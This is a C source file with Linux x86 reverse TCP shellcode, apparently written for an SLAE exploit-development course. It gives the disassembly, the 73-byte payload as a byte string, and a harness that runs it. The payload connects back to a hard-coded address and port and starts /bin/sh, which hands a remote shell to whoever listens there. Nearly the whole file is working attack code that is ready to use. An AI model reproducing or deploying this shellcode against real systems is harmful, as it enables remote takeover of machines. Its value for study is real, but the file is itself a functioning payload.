68 lines
No EOL
2.4 KiB
C
68 lines
No EOL
2.4 KiB
C
/**
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# Linux x86 Reverse TCP shellcode
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# 127.1.1.1/5555
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# Shellcode Author: Anurag Srivastava
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# Shellcode Length: 73
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# Student-ID: SLAE-1219
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# Note ~ http://www.theanuragsrivastava.in/2018/04/reverse-tcp-shellcode-x86-slae.html
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reverse: file format elf32-i386
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Disassembly of section .text:
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08048060 <_start>:
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8048060: 6a 66 push 0x66
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8048062: 58 pop eax
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8048063: 31 db xor ebx,ebx
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8048065: 53 push ebx
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8048066: 43 inc ebx
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8048067: 53 push ebx
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8048068: 6a 02 push 0x2
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804806a: 89 e1 mov ecx,esp
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804806c: 99 cdq
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804806d: cd 80 int 0x80
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804806f: 93 xchg ebx,eax
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8048070: 59 pop ecx
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08048071 <loop>:
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8048071: 6a 3f push 0x3f
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8048073: 58 pop eax
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8048074: cd 80 int 0x80
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8048076: 49 dec ecx
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8048077: 79 f8 jns 8048071 <loop>
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8048079: 68 7f 01 01 01 push 0x101017f
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804807e: 66 68 15 b3 pushw 0xb315
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8048082: 66 6a 02 pushw 0x2
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8048085: 89 e1 mov ecx,esp
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8048087: 6a 10 push 0x10
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8048089: 51 push ecx
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804808a: 53 push ebx
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804808b: 89 e1 mov ecx,esp
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804808d: 6a 66 push 0x66
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804808f: 58 pop eax
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8048090: 6a 03 push 0x3
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8048092: 5b pop ebx
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8048093: cd 80 int 0x80
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8048095: 31 c9 xor ecx,ecx
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8048097: 51 push ecx
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8048098: 6a 0b push 0xb
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804809a: 58 pop eax
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804809b: 68 2f 2f 73 68 push 0x68732f2f
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80480a0: 68 2f 62 69 6e push 0x6e69622f
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80480a5: 89 e3 mov ebx,esp
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80480a7: cd 80 int 0x80
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**/
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#include<stdio.h>
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#include<string.h>
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unsigned char code[] = \
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"\x6a\x66\x58\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\x99\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x7f\x01\x01\x01\x66\x68\x15\xb3\x66\x6a\x02\x89\xe1\x6a\x10\x51\x53\x89\xe1\x6a\x66\x58\x6a\x03\x5b\xcd\x80\x31\xc9\x51\x6a\x0b\x58\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
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main()
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{
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printf("Shellcode Length: %d\n", strlen(code));
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int (*ret)() = (int(*)())code;
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ret();
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} |